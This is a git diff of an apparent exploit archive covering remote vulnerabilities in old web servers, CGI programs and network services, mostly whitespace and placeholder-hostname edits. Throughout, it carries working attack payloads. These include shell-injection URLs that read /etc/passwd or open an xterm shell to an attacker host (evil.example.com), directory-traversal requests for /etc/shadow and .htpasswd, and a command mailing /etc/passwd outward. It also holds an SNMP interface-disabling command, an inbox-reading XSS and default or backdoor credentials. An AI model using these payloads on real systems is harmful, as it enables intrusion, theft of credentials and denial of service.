+5,4 @@ A vulnerability in a CGI program part of CdomainFree allows remote malicious use The vulnerability is in the whois_raw.cgi program. This CGI passes user input to the shell without proper filtering. None of the Cdomain commercial version (e.g. CdomainPro) are vulnerable as they connect the the whois servers directly. http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd -http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20evil.example.com:0 \ No newline at end of file +http://www.example.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20evil.example.com:0 \ No newline at end of file diff --git a/platforms/multiple/remote/19298.txt b/platforms/multiple/remote/19298.txt index b842a1e6c..e2d6d993d 100755 --- a/platforms/multiple/remote/19298.txt +++ b/platforms/multiple/remote/19298.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/373/info A vulnerability exists in the cgi-bin program 'wrap', as included with Irix 6.2 from SGI. A failure to validate input results in a vulnerability that allows any remote attacker to view the contents of any world readable directory remotely. This can be used to gain information that may be helpful in carrying out other attacks. -http://sgi.victim/cgi-bin/wrap?/../../../../../etc \ No newline at end of file +http://sgi.victim/cgi-bin/wrap?/../../../../../etc \ No newline at end of file diff --git a/platforms/multiple/remote/19299.txt b/platforms/multiple/remote/19299.txt index 3e6e3b38e..987332cb9 100755 --- a/platforms/multiple/remote/19299.txt +++ b/platforms/multiple/remote/19299.txt @@ -7,4 +7,4 @@ A vulnerability exists in the webdist.cgi program, as shipped by Silicon Grpahic or -http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh \ No newline at end of file +http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh \ No newline at end of file diff --git a/platforms/multiple/remote/19363.txt b/platforms/multiple/remote/19363.txt index de809012f..0b972e1dc 100755 --- a/platforms/multiple/remote/19363.txt +++ b/platforms/multiple/remote/19363.txt @@ -7,4 +7,4 @@ Netscape's Fasttrack server is supposed to display a directory listing if the fo However, even with an index file in the directory, if you telnet to the httpd port and type 'get/' you will get a directory listing of the root directory. -Telnet to the httpd port and type 'get/' to get a root directory listing. \ No newline at end of file +Telnet to the httpd port and type 'get/' to get a root directory listing. \ No newline at end of file diff --git a/platforms/multiple/remote/19383.txt b/platforms/multiple/remote/19383.txt index f1985a08e..051c14215 100755 --- a/platforms/multiple/remote/19383.txt +++ b/platforms/multiple/remote/19383.txt @@ -9,7 +9,7 @@ Blue Panda <bluepanda@dwarf.box.sk> has discovered that a variation of the vulne There are various ways of exploiting this. NT and Win9x: -h t t p://server:8010/c:/ -h t t p://server:8010// +h t t p://www.server.com:8010/c:/ +h t t p://www.server.com:8010// Win9x only: -h t t p://server:8010/..../ \ No newline at end of file +h t t p://www.server.com:8010/..../ \ No newline at end of file diff --git a/platforms/multiple/remote/19466.txt b/platforms/multiple/remote/19466.txt index d1d9a04b3..3d02761b4 100755 --- a/platforms/multiple/remote/19466.txt +++ b/platforms/multiple/remote/19466.txt @@ -12,4 +12,4 @@ http://www.victim.org/cgi-bin/w3-msql/protected-directory/private-file Second Approach: This approach will gain the intruder a DES encrypted password which they can then attempt to crack it via any number of popular cracking utilites. -http://www.victim.org/cgi-bin/w3-msql/protected-directory/.htpasswd \ No newline at end of file +http://www.victim.org/cgi-bin/w3-msql/protected-directory/.htpasswd \ No newline at end of file diff --git a/platforms/multiple/remote/19492.txt b/platforms/multiple/remote/19492.txt index c1f54cf54..2ab1ab926 100755 --- a/platforms/multiple/remote/19492.txt +++ b/platforms/multiple/remote/19492.txt @@ -18,4 +18,4 @@ alert('JavaScript is executed'); a=window.open(document.links[2]); setTimeout('alert(\'The first message in your Inbox is from: \'+a.document.links[26].text)',20000); -&lt;/STYLE&gt; \ No newline at end of file +&lt;/STYLE&gt; \ No newline at end of file diff --git a/platforms/multiple/remote/19493.txt b/platforms/multiple/remote/19493.txt index eba1376a7..31add9887 100755 --- a/platforms/multiple/remote/19493.txt +++ b/platforms/multiple/remote/19493.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/631/info Enterprise Server 3.6 SP2 with the SSL Handshake Patch applied is vulnerable to a buffer overflow that may allow attackers to launch denial-of-service attacks and to execute arbitrary commands on the webserver. GET / HTTP/1.0 -Accept: aaaaaaaaaaaaaa...2000byte/gif \ No newline at end of file +Accept: aaaaaaaaaaaaaa...2000byte/gif \ No newline at end of file diff --git a/platforms/multiple/remote/19644.txt b/platforms/multiple/remote/19644.txt index e713fb618..9152c19cf 100755 --- a/platforms/multiple/remote/19644.txt +++ b/platforms/multiple/remote/19644.txt @@ -4,4 +4,4 @@ Mail-Gear, a multi-purpose filtering email server, includes a webserver for remo http: //target.host:8003/Display?what=../../../../../autoexec.bat -will display the server's autoexec.bat in a default NT installation. \ No newline at end of file +will display the server's autoexec.bat in a default NT installation. \ No newline at end of file diff --git a/platforms/multiple/remote/19742.txt b/platforms/multiple/remote/19742.txt index 5fc4dfdc4..d0a2559c4 100755 --- a/platforms/multiple/remote/19742.txt +++ b/platforms/multiple/remote/19742.txt @@ -6,4 +6,4 @@ idq.dll will follow the '../' string in the specification of a template file. An The webhits.dll patch (Microsoft Security Bulletin MS00-006, at http://www.securityfocus.com/templates/advisory.html?id=2060, and Bugtraq ID 950, at http://www.securityfocus.com/bid/950)may in some cases affect the nature of this vulnerability. If this patch has been applied, IDQ files will only be vulnerable if they do not append the .htx extension. -http ://target/query.idq?CiTemplate=../../../somefile.ext \ No newline at end of file +http ://target/query.idq?CiTemplate=../../../somefile.ext \ No newline at end of file diff --git a/platforms/multiple/remote/19751.txt b/platforms/multiple/remote/19751.txt index 3758edecb..419dcf362 100755 --- a/platforms/multiple/remote/19751.txt +++ b/platforms/multiple/remote/19751.txt @@ -30,4 +30,4 @@ The attacks can include manipulating routing tables and corrupting ARP caches, w snmpset hostname {private|public} interfaces.ifTable.ifEntry.ifAdminStatus.1 i 2 -This will make the primary interface on the target host (with a default community of public or private) change state to two, which is "down". \ No newline at end of file +This will make the primary interface on the target host (with a default community of public or private) change state to two, which is "down". \ No newline at end of file diff --git a/platforms/multiple/remote/19781.sh b/platforms/multiple/remote/19781.sh index 30a50d4ca..ee8e5366f 100755 --- a/platforms/multiple/remote/19781.sh +++ b/platforms/multiple/remote/19781.sh @@ -7,7 +7,7 @@ In the first vulnerability, the variable passed to open() is called "file" and i The second vulnerability is identical in nature to the first but is in the "search.cgi" script. In search.cgi, no checks are made on user input variables 'template' and 'database' (passed to open()). As a result, it is possible to view files or execute commands on the host through search.cgi as well. #!/bin/bash -echo -e "GET http: //www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=|"$1"| HTTP/1.0\n\n" | nc proxy.server 8080 +echo -e "GET http: //www.example.com/cgi-bin/loadpage.cgi?user_id=1&file=|"$1"| HTTP/1.0\n\n" | nc proxy.server.com 8080 [ /cut ] diff --git a/platforms/multiple/remote/19824.txt b/platforms/multiple/remote/19824.txt index b55132849..c5a125ba5 100755 --- a/platforms/multiple/remote/19824.txt +++ b/platforms/multiple/remote/19824.txt @@ -4,4 +4,4 @@ source: http://www.securityfocus.com/bid/1081/info If a virtual host root is mapped to a UNC share, a backward slash "\" appended to an ASP or HTR extension in a URL request to that virtual host will cause Microsoft Internet Information Server to transmit full source code of the file back to a remote user. Files located on the local drive where IIS is installed is not affected by this vulnerability. -http://target/file.asp\ \ No newline at end of file +http://target/file.asp\ \ No newline at end of file diff --git a/platforms/multiple/remote/19828.txt b/platforms/multiple/remote/19828.txt index 5a8d9bda8..dcf6d4949 100755 --- a/platforms/multiple/remote/19828.txt +++ b/platforms/multiple/remote/19828.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/1083/info The default configuration of Cobalt Raq2 and Raq3 servers allows remote access to .htaccess files. This could lead to unauthorized retrieval of username and password information for restricted portions of a website hosted on the server. Make a regular GET request, specifying an .htaccess file ie: -http ://target/path/.htaccess \ No newline at end of file +http ://target/path/.htaccess \ No newline at end of file diff --git a/platforms/multiple/remote/20027.txt b/platforms/multiple/remote/20027.txt index 86f097868..a61a41832 100755 --- a/platforms/multiple/remote/20027.txt +++ b/platforms/multiple/remote/20027.txt @@ -4,4 +4,4 @@ Within WebLogic Server and WebLogic Express there are four main java servlets re If an http request is made that includes "/file/", the server calls upon the default servlet which will cause the page to display the source code in the web browser. -http://target/file/filename \ No newline at end of file +http://target/file/filename \ No newline at end of file diff --git a/platforms/multiple/remote/20095.txt b/platforms/multiple/remote/20095.txt index d6d9a96db..f5491c781 100755 --- a/platforms/multiple/remote/20095.txt +++ b/platforms/multiple/remote/20095.txt @@ -2,7 +2,7 @@ source: http://www.securityfocus.com/bid/1498/info The servlet sunexamples.RealmDumpServlet, which is packaged by Default with Sun's Java Web Server, can be used to discover ACLs and local users on the server. -http://javawebserver/pservlet.html +http://javawebserver.com/pservlet.html User: sherwin @@ -133,4 +133,4 @@ User: noaccess, home = / User: nobody4, home = / -User: mc, home = /space/u/mc \ No newline at end of file +User: mc, home = /space/u/mc \ No newline at end of file diff --git a/platforms/multiple/remote/20097.txt b/platforms/multiple/remote/20097.txt index 7dde49364..926c33714 100755 --- a/platforms/multiple/remote/20097.txt +++ b/platforms/multiple/remote/20097.txt @@ -13,4 +13,4 @@ then accessing http://site.running.websphere/servlet/file/login.jsp -would cause the unparsed contents of the file to show up in the web browser." \ No newline at end of file +would cause the unparsed contents of the file to show up in the web browser." \ No newline at end of file diff --git a/platforms/multiple/remote/20104.txt b/platforms/multiple/remote/20104.txt index 8967d2e54..6564aa4a6 100755 --- a/platforms/multiple/remote/20104.txt +++ b/platforms/multiple/remote/20104.txt @@ -3,7 +3,7 @@ source: http://www.securityfocus.com/bid/1510/info If a request containing the null character (%00) is made to the Roxen Web Server, the server will return directory contents, and the source of unparsed scripts and html pages. For example, a request to -http://server/%00 +http://www.server.com/%00 Will return the contents of the server's document root directory. diff --git a/platforms/multiple/remote/20131.txt b/platforms/multiple/remote/20131.txt index 521ea2669..0843a133c 100755 --- a/platforms/multiple/remote/20131.txt +++ b/platforms/multiple/remote/20131.txt @@ -7,4 +7,4 @@ http://narco.guerrilla.sucks.co:8080/anything.jsp Error: 404 Location: /anything.jsp -JSP file "/appsrv2/jakarta-tomcat/webapps/ROOT/anything.jsp" not found \ No newline at end of file +JSP file "/appsrv2/jakarta-tomcat/webapps/ROOT/anything.jsp" not found \ No newline at end of file diff --git a/platforms/multiple/remote/20132.txt b/platforms/multiple/remote/20132.txt index 9ea2b3e5d..03242e116 100755 --- a/platforms/multiple/remote/20132.txt +++ b/platforms/multiple/remote/20132.txt @@ -67,4 +67,4 @@ Session Last Accessed Time: 964047528749 Session Max Inactive Interval Seconds: 1800 Session values: -numguess = num.NumberGuessBean@6bfa9a1 \ No newline at end of file +numguess = num.NumberGuessBean@6bfa9a1 \ No newline at end of file diff --git a/platforms/multiple/remote/20234.txt b/platforms/multiple/remote/20234.txt index 27a21551c..fca52fc45 100755 --- a/platforms/multiple/remote/20234.txt +++ b/platforms/multiple/remote/20234.txt @@ -4,4 +4,4 @@ A remote user is capable of gaining read access to any file residing in the same For example: -http://target:8002/Newuser?Image=../../database/rbsserv.mdb \ No newline at end of file +http://target:8002/Newuser?Image=../../database/rbsserv.mdb \ No newline at end of file diff --git a/platforms/multiple/remote/20258.c b/platforms/multiple/remote/20258.c index e28ac8851..1cf28f9df 100755 --- a/platforms/multiple/remote/20258.c +++ b/platforms/multiple/remote/20258.c @@ -36,7 +36,7 @@ slammer: $(OBJS) * README) * caveat: your command will be exec'd on the receiving end of a pipe * so redirecting stdin will cause the input file to be zero'd - * example: slammer joe.server "mail [10]me@myserver < /etc/passwd" + * example: slammer joe.target.com "mail [10]me@mysite.com < /etc/passwd" * will not only not work, but will also zero the passwd file * solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc. * -SW @@ -212,7 +212,7 @@ In order for slammer to work correctly the following parameters must be met: Target Host *MUST* be running both ypupdated and keyserv. If this is not the case Slammer will return non-zero error code. -syntax: slammer server "arbitrary command" +syntax: slammer target.com "arbitrary command" If slammer is succesfull you will be returned to your initial prompt. diff --git a/platforms/multiple/remote/20425.pl b/platforms/multiple/remote/20425.pl index 5326daa7e..a254ecdd5 100755 --- a/platforms/multiple/remote/20425.pl +++ b/platforms/multiple/remote/20425.pl @@ -62,4 +62,4 @@ if($showline eq 1){ chomp($line); $registerinfo.=$line; } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/multiple/remote/20441.txt b/platforms/multiple/remote/20441.txt index 28a2ef75f..3f9fb45e6 100755 --- a/platforms/multiple/remote/20441.txt +++ b/platforms/multiple/remote/20441.txt @@ -8,4 +8,4 @@ Successful exploitation of this vulnerability could assist in further attacks ag http://target/cgi-bin/db2www/library/document.d2w/show -DTWP029E: Net.Data is unable to locate the HTML block SHOW in file /projects/www/netdata/macro/software/library/document.d2w. \ No newline at end of file +DTWP029E: Net.Data is unable to locate the HTML block SHOW in file /projects/www/netdata/macro/software/library/document.d2w. \ No newline at end of file diff --git a/platforms/multiple/remote/20450.txt b/platforms/multiple/remote/20450.txt index de50b56d5..aa5ecc6ca 100755 --- a/platforms/multiple/remote/20450.txt +++ b/platforms/multiple/remote/20450.txt @@ -8,4 +8,4 @@ Successful exploitation will lead to the attacker gaining unauthorized access to Depending on the database and system type, this may lead to a compromise of interactive access on the host running Webmail and the database. -http://target/includes/global.inc \ No newline at end of file +http://target/includes/global.inc \ No newline at end of file diff --git a/platforms/multiple/remote/20466.txt b/platforms/multiple/remote/20466.txt index d4eaf9a1f..80780db82 100755 --- a/platforms/multiple/remote/20466.txt +++ b/platforms/multiple/remote/20466.txt @@ -6,4 +6,4 @@ By requesting a specially crafted URL by way of php, it is possible for a remote Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim. -http://target/index.php3.%5c../..%5cconf/httpd.conf \ No newline at end of file +http://target/index.php3.%5c../..%5cconf/httpd.conf \ No newline at end of file diff --git a/platforms/multiple/remote/20467.txt b/platforms/multiple/remote/20467.txt index 09d551599..de611eb98 100755 --- a/platforms/multiple/remote/20467.txt +++ b/platforms/multiple/remote/20467.txt @@ -9,4 +9,4 @@ http://target:8765/somefile.html/ will return the source to 'somefile.html'. -As a result, it is possible for an attacker to obtain source code to any Ultraseek scripts, which could be used to support further attacks. \ No newline at end of file +As a result, it is possible for an attacker to obtain source code to any Ultraseek scripts, which could be used to support further attacks. \ No newline at end of file diff --git a/platforms/multiple/remote/20468.txt b/platforms/multiple/remote/20468.txt index 94146d4d2..3727d54bf 100755 --- a/platforms/multiple/remote/20468.txt +++ b/platforms/multiple/remote/20468.txt @@ -10,4 +10,4 @@ will, if the file 'example' does not exist, return an error message which disclo As a result, it is possible for an attacker to obtain information about the server's configuration and directory structure, which could be used to support further attacks. -This may be the result of a weak default configuration. Ultraseek Server returns detailed error information when requests are recieved from an administrative IP address. By default, administrative status is given to all addresses. \ No newline at end of file +This may be the result of a weak default configuration. Ultraseek Server returns detailed error information when requests are recieved from an administrative IP address. By default, administrative status is given to all addresses. \ No newline at end of file diff --git a/platforms/multiple/remote/20472.txt b/platforms/multiple/remote/20472.txt index 4857cf382..bae46bee6 100755 --- a/platforms/multiple/remote/20472.txt +++ b/platforms/multiple/remote/20472.txt @@ -10,4 +10,4 @@ Password: db2admin DB2 Universal Database for Linux Username: db2inst1, db2as, db2fenc1 -Password: ibmdb2 \ No newline at end of file +Password: ibmdb2 \ No newline at end of file diff --git a/platforms/multiple/remote/20491.txt b/platforms/multiple/remote/20491.txt index 08e3c47ea..703f0a717 100755 --- a/platforms/multiple/remote/20491.txt +++ b/platforms/multiple/remote/20491.txt @@ -10,4 +10,4 @@ This attack allows malicious users in control of a fake Kerberos server to explo telnet> environ define krb4_proxy http://your.host:80 telnet> environ export krb4_proxy -telnet> open localhost \ No newline at end of file +telnet> open localhost \ No newline at end of file diff --git a/platforms/multiple/remote/20513.txt b/platforms/multiple/remote/20513.txt index a9c6e7605..379b5ab41 100755 --- a/platforms/multiple/remote/20513.txt +++ b/platforms/multiple/remote/20513.txt @@ -8,4 +8,4 @@ http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=cat Successful exploitation of this vulnerability may disclose sensitive information such as usernames and passwords and aid in the development of further attacks. -http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=catalog \ No newline at end of file +http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=catalog \ No newline at end of file diff --git a/platforms/multiple/remote/20516.txt b/platforms/multiple/remote/20516.txt index 8a5a15381..7d0abce4f 100755 --- a/platforms/multiple/remote/20516.txt +++ b/platforms/multiple/remote/20516.txt @@ -5,4 +5,4 @@ BEA Systems WebLogic Server is an enterprise level web and wireless application Unchecked buffers exist in a particular handler for URL requests that begin with two dots "..". Depending on the data entered into the buffer, WebLogic Server could be forced to crash or arbitrary code could be executed on the system in the security context of the web server. In the event that random data was sent in order to crash the server, restarting the application would be required in order to regain normal functionality. -..<overly long string of characters> \ No newline at end of file +..<overly long string of characters> \ No newline at end of file diff --git a/platforms/multiple/remote/2053.rb b/platforms/multiple/remote/2053.rb index 235d810cb..339fb0f9a 100755 --- a/platforms/multiple/remote/2053.rb +++ b/platforms/multiple/remote/2053.rb @@ -1,4 +1,4 @@ -#!/usr/bin/ruby + #!/usr/bin/ruby # # cyrus-imapd pop3d exploit # by bannedit @@ -85,3 +85,4 @@ system(cmd) sock.close # milw0rm.com [2006-07-21] + \ No newline at end of file diff --git a/platforms/multiple/remote/20537.txt b/platforms/multiple/remote/20537.txt index 2dd6cdeb3..4610f5d30 100755 --- a/platforms/multiple/remote/20537.txt +++ b/platforms/multiple/remote/20537.txt @@ -8,4 +8,4 @@ Successful exploitation of this vulnerability will lead to complete compromise o #define LOCKSMITH_USER "politically" -#define LOCKSMITH_PASSWORD "correct" \ No newline at end of file +#define LOCKSMITH_PASSWORD "correct" \ No newline at end of file diff --git a/platforms/multiple/remote/20591.txt b/platforms/multiple/remote/20591.txt index 51a976008..6260e3f8e 100755 --- a/platforms/multiple/remote/20591.txt +++ b/platforms/multiple/remote/20591.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2285/info Netscape Enterprise Server with Web Publishing enabled will disclose the directory listing of the server to unauthenticated users who submit an INDEX request. -INDEX / HTTP/1.0 \ No newline at end of file +INDEX / HTTP/1.0 \ No newline at end of file diff --git a/platforms/multiple/remote/20595.txt b/platforms/multiple/remote/20595.txt index f04d2d2be..cc6459e56 100755 --- a/platforms/multiple/remote/20595.txt +++ b/platforms/multiple/remote/20595.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/2300/info NSCA httpd prior to and including 1.5 and Apache Web Server prior to 1.0 contain a bug in the ScriptAlias function that allows remote users to view the source of CGI programs on the web server, if a ScriptAlias directory is defined under DocumentRoot. A full listing of the CGI-BIN directory can be obtained if indexing is turned on, as well. This is accomplished by adding multiple forward slashes in the URL (see exploit). The web server fails to recognize that a ScriptAlias directory is actually redirected to a CGI directory when this syntax is used, and returns the text of the script instead of properly executing it. This may allow an attacker to audit scripts for vulnerabilities, retrieve proprietary information, etc. To retrieve the contents of http://targethost/cgi-bin/script.cgi an attacker would use the following URL, provided the directory cgi-bin is redirected using ScriptAlias: -http://targethost///cgi-bin/script.cgi \ No newline at end of file +http://targethost///cgi-bin/script.cgi \ No newline at end of file diff --git a/platforms/multiple/remote/20601.txt b/platforms/multiple/remote/20601.txt index aa13d3152..1f63cea71 100755 --- a/platforms/multiple/remote/20601.txt +++ b/platforms/multiple/remote/20601.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2314/info A specially crafted URL, composed of '../' and '%00', will disclose the directory listing and files of the target with read permissions. -http://target/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00 \ No newline at end of file +http://target/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/multiple/remote/20618.txt b/platforms/multiple/remote/20618.txt index abc165cd8..76a04f182 100755 --- a/platforms/multiple/remote/20618.txt +++ b/platforms/multiple/remote/20618.txt @@ -17,4 +17,4 @@ http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+u "orderdspc.d2w" is not the only vulnerable macro. It is just used as an example. Casting between different data-types is possible. Read the DB2 manual pages. -It may also be possible to query other databases. \ No newline at end of file +It may also be possible to query other databases. \ No newline at end of file diff --git a/platforms/multiple/remote/20625.txt b/platforms/multiple/remote/20625.txt index 7c2208243..05a694849 100755 --- a/platforms/multiple/remote/20625.txt +++ b/platforms/multiple/remote/20625.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2362/info A remote user could gain read access to known files outside of the root directory where SilverPlatter WebSPIRS resides. Requesting a specially crafted URL composed of '../' sequences along with the known filename will disclose the requested file. -server/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../path/to/file \ No newline at end of file +www.target.com/cgi-bin/webspirs.cgi?sp.nextform=../../../../../../path/to/file \ No newline at end of file diff --git a/platforms/multiple/remote/20635.txt b/platforms/multiple/remote/20635.txt index 4db978dad..545a64a9f 100755 --- a/platforms/multiple/remote/20635.txt +++ b/platforms/multiple/remote/20635.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2384/info It is possible for a remote user to gain read access to directories and files outside the root directory of a machine running Resin. Requesting a specially crafted URL composed of '/..' or '/...' sequences will disclose an arbitrary directory. -http://target/\../readme.txt \ No newline at end of file +http://target/\../readme.txt \ No newline at end of file diff --git a/platforms/multiple/remote/20638.txt b/platforms/multiple/remote/20638.txt index 70d21630e..8a989ce29 100755 --- a/platforms/multiple/remote/20638.txt +++ b/platforms/multiple/remote/20638.txt @@ -12,4 +12,4 @@ http://target/upload.html Execute it via: -http://target/cgi/bin//...//upload/[file name] \ No newline at end of file +http://target/cgi/bin//...//upload/[file name] \ No newline at end of file diff --git a/platforms/multiple/remote/20639.txt b/platforms/multiple/remote/20639.txt index 2067d125f..6549949cb 100755 --- a/platforms/multiple/remote/20639.txt +++ b/platforms/multiple/remote/20639.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2389/info Requesting a specailly crafted URL containg arbitrary code, can be exected on a Unix system running Bajie Webserver. Any arbitrary commands appended to a malicious URL after the ';' will be executed as an independent job. -http://target/bin/test.txt;%20[shell command] \ No newline at end of file +http://target/bin/test.txt;%20[shell command] \ No newline at end of file diff --git a/platforms/multiple/remote/20719.txt b/platforms/multiple/remote/20719.txt index f35ebbe72..4987160c0 100755 --- a/platforms/multiple/remote/20719.txt +++ b/platforms/multiple/remote/20719.txt @@ -19,4 +19,4 @@ http://www.example.com/examples/jsp/num/numguess.js%70 The following variant URL for Tomcat has been provided by lovehacker <lovehacker@263.net>: -http://www.example.com/examples/snp/snoop%252ejsp \ No newline at end of file +http://www.example.com/examples/snp/snoop%252ejsp \ No newline at end of file diff --git a/platforms/multiple/remote/20722.txt b/platforms/multiple/remote/20722.txt index 06e9a0ac0..273e903d5 100755 --- a/platforms/multiple/remote/20722.txt +++ b/platforms/multiple/remote/20722.txt @@ -6,4 +6,4 @@ On Resin webservers, JavaBean files reside in a protected directory, '/WEB-INF/c An attacker exploiting this may be able to gain sensitive information contained in the JavaBeans. -http://target/.jsp/WEB-INF/classes/filename \ No newline at end of file +http://target/.jsp/WEB-INF/classes/filename \ No newline at end of file diff --git a/platforms/multiple/remote/20797.txt b/platforms/multiple/remote/20797.txt index 3dcb401b0..35ed73ab4 100755 --- a/platforms/multiple/remote/20797.txt +++ b/platforms/multiple/remote/20797.txt @@ -6,6 +6,6 @@ This means that if an attacker knows the location of a sensitive file relative t o retrieve /etc/password from a vulnerable host, request: -http://server/../../../../etc/passwd +http://www.server.com/../../../../etc/passwd -The number of ../ path characters will depend on the ServerRoot (location of the virtual / directory) setting. \ No newline at end of file +The number of ../ path characters will depend on the ServerRoot (location of the virtual / directory) setting. \ No newline at end of file diff --git a/platforms/multiple/remote/20807.txt b/platforms/multiple/remote/20807.txt index 52d39cb22..439116f87 100755 --- a/platforms/multiple/remote/20807.txt +++ b/platforms/multiple/remote/20807.txt @@ -4,4 +4,4 @@ DataWizard WebXQ server could be led to traverse directories and possibly reveal By including '/../' sequences along with a known file or directory in requested URLs, a remote user can obtain read access to the requested directories and files outside the web root, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. -http://www.example.com/./.../[target file] \ No newline at end of file +http://www.example.com/./.../[target file] \ No newline at end of file diff --git a/platforms/multiple/remote/20869.html b/platforms/multiple/remote/20869.html index 472826bf5..2bb57d14b 100755 --- a/platforms/multiple/remote/20869.html +++ b/platforms/multiple/remote/20869.html @@ -43,4 +43,4 @@ and we will be left with the following HTML code: <SCRIPT language="javascript"> alert("hi"); </SCRIPT> -</BODY></HTML> \ No newline at end of file +</BODY></HTML> \ No newline at end of file diff --git a/platforms/multiple/remote/20882.txt b/platforms/multiple/remote/20882.txt index 8ef916318..8edaba0a7 100755 --- a/platforms/multiple/remote/20882.txt +++ b/platforms/multiple/remote/20882.txt @@ -6,4 +6,4 @@ Versions of Freestyle Chat are vulnerable to directory traversal attacks. This c Properly exploited, this could provide information useful in further attacks on the vulnerable host. -http://www.example.com/.../.../scandisk.log \ No newline at end of file +http://www.example.com/.../.../scandisk.log \ No newline at end of file diff --git a/platforms/multiple/remote/20890.txt b/platforms/multiple/remote/20890.txt index 9947dc602..297adce30 100755 --- a/platforms/multiple/remote/20890.txt +++ b/platforms/multiple/remote/20890.txt @@ -16,4 +16,4 @@ test.');a.Close();">Click here</A> HREF is not the only tag ignored. Any tag capable of containing scripting command will not be filtered by eSafe. For example: -<BODY onload="alert('hi');"> \ No newline at end of file +<BODY onload="alert('hi');"> \ No newline at end of file diff --git a/platforms/multiple/remote/20894.txt b/platforms/multiple/remote/20894.txt index a8e5b13a0..b73e7c72f 100755 --- a/platforms/multiple/remote/20894.txt +++ b/platforms/multiple/remote/20894.txt @@ -7,4 +7,4 @@ Acme.Serve 1.7 comes with a webserver that listens on port 9090. This webserver If an attacker were to connect, they could view possibly sensitive information. -http://potentialvictim:9090//etc/shadow to view '/etc/shadow'. \ No newline at end of file +http://potentialvictim:9090//etc/shadow to view '/etc/shadow'. \ No newline at end of file diff --git a/platforms/multiple/remote/20909.txt b/platforms/multiple/remote/20909.txt index b043e0d37..da3f5d7ed 100755 --- a/platforms/multiple/remote/20909.txt +++ b/platforms/multiple/remote/20909.txt @@ -4,4 +4,4 @@ ovactiond is part of the system management software packages OpenView and Netvie A problem with the software makes it possible for a remote user to execute commands on a managed system with the privileges of the ovactiond process (often 'bin' on Unix systems). The default configuration of the daemon as installed with HP OpenView enables the execution of commands upon receiving a trap with the command encapsulated in quotes and escapes. Tivoli Netview is not vulnerable to this by default, but may be if customized. -snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s "" 2 s "" 3 s "\`/usr/bin/X11/hpterm -display <your client display>\`" 4 s "" [snip...] 12 s "" \ No newline at end of file +snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s "" 2 s "" 3 s "\`/usr/bin/X11/hpterm -display <your client display>\`" 4 s "" [snip...] 12 s "" \ No newline at end of file diff --git a/platforms/multiple/remote/20972.txt b/platforms/multiple/remote/20972.txt index 2e02f1164..45ba76f10 100755 --- a/platforms/multiple/remote/20972.txt +++ b/platforms/multiple/remote/20972.txt @@ -12,4 +12,4 @@ Then write the following in your browser: http://localhost:8000/file/../test1.mp3 - Will fail in getting the file -http://localhost:8000/file/%2E%2E/test1.mp3 - Will succeed in getting the file \ No newline at end of file +http://localhost:8000/file/%2E%2E/test1.mp3 - Will succeed in getting the file \ No newline at end of file diff --git a/platforms/multiple/remote/21002.txt b/platforms/multiple/remote/21002.txt index e5158903c..888c73d1d 100755 --- a/platforms/multiple/remote/21002.txt +++ b/platforms/multiple/remote/21002.txt @@ -5,4 +5,4 @@ A possible vulnerability exists in Apache that could cause directory contents to The problem is likely the result of an error in "multiview" functionality provided as part of Apache's content negotiation support. Exploitation of this problem may lead to the dislosure of sensitive information to attackers. http://target-webserver/?M=A -http://target-webserver/?S=D \ No newline at end of file +http://target-webserver/?S=D \ No newline at end of file diff --git a/platforms/multiple/remote/21116.pl b/platforms/multiple/remote/21116.pl index 8e5bca059..405046e12 100755 --- a/platforms/multiple/remote/21116.pl +++ b/platforms/multiple/remote/21116.pl @@ -22,7 +22,7 @@ $found ="notyet"; use Socket; $prompt = "cmd\/c"; -if (@ARGV<1) {die "Account cracker\n Usage \= IP/host:Port e.g. Perl $0 server\n";} +if (@ARGV<1) {die "Account cracker\n Usage \= IP/host:Port e.g. Perl $0 www.target.com\n";} ($host,$port)=split(/:/,@ARGV[0]);$target = inet_aton($host); diff --git a/platforms/multiple/remote/21160.txt b/platforms/multiple/remote/21160.txt index 58f109c2e..0efb1d180 100755 --- a/platforms/multiple/remote/21160.txt +++ b/platforms/multiple/remote/21160.txt @@ -8,4 +8,4 @@ This issue is known to occur when large object caching is enabled, which sets ca As a result, sensitive information disclosed in arbitrary web-readable files may be used by the remote attacker to make more concentrated attacks in an attempt to further compromise the host. -http://server/ifx/?LO=../../../file \ No newline at end of file +http://site.com/ifx/?LO=../../../file \ No newline at end of file diff --git a/platforms/multiple/remote/21193.txt b/platforms/multiple/remote/21193.txt index f1817dce8..b0d31b6f5 100755 --- a/platforms/multiple/remote/21193.txt +++ b/platforms/multiple/remote/21193.txt @@ -6,4 +6,4 @@ DeleGate is prone to cross-site scripting attacks. 